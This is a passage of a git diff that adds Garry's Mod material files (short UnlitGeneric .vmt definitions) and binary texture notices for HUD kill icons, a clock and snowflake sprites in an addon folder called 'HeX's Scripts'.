100644 index 0000000..c84e6fc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_headcrab" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab.vtf new file mode 100644 index 0000000..e81e24d Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vmt new file mode 100644 index 0000000..7d94436 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_headcrab_fast" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vtf new file mode 100644 index 0000000..b51caa2 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_headcrab_fast.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vmt new file mode 100644 index 0000000..1c35676 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_helicopter" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vtf new file mode 100644 index 0000000..864719f Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_helicopter.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vmt new file mode 100644 index 0000000..068f6e8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_manhack" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vtf new file mode 100644 index 0000000..9ee5d91 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_manhack.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_poisonzombie.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_poisonzombie.vmt new file mode 100644 index 0000000..d799d9c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_poisonzombie.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_poisonzombie" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_poisonzombie.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_poisonzombie.vtf new file mode 100644 index 0000000..cd8ddcb Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_poisonzombie.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_rollermine.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_rollermine.vmt new file mode 100644 index 0000000..bcb4e40 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_rollermine.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_rollermine" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_rollermine.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_rollermine.vtf new file mode 100644 index 0000000..6138b81 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_rollermine.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vmt new file mode 100644 index 0000000..b7fca91 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_stalker" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vtf new file mode 100644 index 0000000..9ffbc31 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_stalker.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vmt new file mode 100644 index 0000000..d78946f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_strider" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vtf new file mode 100644 index 0000000..1f4f374 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_strider.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_turret_floor.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_turret_floor.vmt new file mode 100644 index 0000000..009d341 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_turret_floor.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_turret_floor" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_turret_floor.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_turret_floor.vtf new file mode 100644 index 0000000..df2fa27 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_turret_floor.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vmt new file mode 100644 index 0000000..51a1a4d --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_vortigaunt" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vtf new file mode 100644 index 0000000..d4e4b87 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_vortigaunt.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vmt new file mode 100644 index 0000000..036cd64 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_zombie" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vtf new file mode 100644 index 0000000..1f3096d Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vmt new file mode 100644 index 0000000..bf386e1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_zombie_torso" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vtf new file mode 100644 index 0000000..c6e1b1c Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_zombie_torso.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vmt new file mode 100644 index 0000000..ba084bd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_ragdoll" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vtf new file mode 100644 index 0000000..f77713d Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_ragdoll.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vmt new file mode 100644 index 0000000..c1c09e9 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_vehicle_airboat" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vtf new file mode 100644 index 0000000..ffb0373 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_airboat.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vmt new file mode 100644 index 0000000..9802b23 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_vehicle_jeep" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vtf new file mode 100644 index 0000000..8703b1a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_jeep.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_prisoner_pod.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_prisoner_pod.vmt new file mode 100644 index 0000000..5edff31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_prisoner_pod.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/prop_vehicle_prisoner_pod" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_prisoner_pod.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_prisoner_pod.vtf new file mode 100644 index 0000000..66c0fd4 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/prop_vehicle_prisoner_pod.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_alyxgun.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_alyxgun.vmt new file mode 100644 index 0000000..c19b8c3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_alyxgun.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/weapon_alyxgun" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_alyxgun.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_alyxgun.vtf new file mode 100644 index 0000000..8ddd6d0 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_alyxgun.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vmt new file mode 100644 index 0000000..f3dfe33 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/weapon_annabelle" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vtf new file mode 100644 index 0000000..4d5546a Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_annabelle.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizenpackage.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizenpackage.vmt new file mode 100644 index 0000000..69541c8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizenpackage.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/weapon_citizenpackage" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizenpackage.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizenpackage.vtf new file mode 100644 index 0000000..fd19529 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizenpackage.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vmt new file mode 100644 index 0000000..86ae70b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/weapon_citizensuitcase" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vtf new file mode 100644 index 0000000..2e89ca7 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/weapon_citizensuitcase.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vmt new file mode 100644 index 0000000..b44df71 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/worldspawn" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vtf new file mode 100644 index 0000000..95046de Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/worldspawn.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/PoKiRayMat.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/PoKiRayMat.vmt new file mode 100644 index 0000000..6fd1311 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/PoKiRayMat.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "" + "$model" 1 + "$translucent" 1 + "$alpha" 1 + "$nocull" 1 + "$ignorez" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vmt new file mode 100644 index 0000000..1768ca1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/clock" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vtf new file mode 100644 index 0000000..a42ad0f Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/clock.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt new file mode 100644 index 0000000..121c3fa --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/1" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vtf new file mode 100644 index 0000000..2199848 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/1.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vmt new file mode 100644 index 0000000..6364785 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/10" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vtf new file mode 100644 index 0000000..9fdbddc Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/10.vtf differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt new file mode 100644 index 0000000..1b8ea45 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/blackops/snowflakes/11.vmt @@ -0,0 +1,8 @@ +"UnlitGeneric" +{ + "$basetexture" "blackops/snowflakes/11" + //"$ignorez" 1 + "$vertexcolor" 1 + "$vertexalpha" 1 + "$nolod" 1 +} \ No newline at end of file diff --git 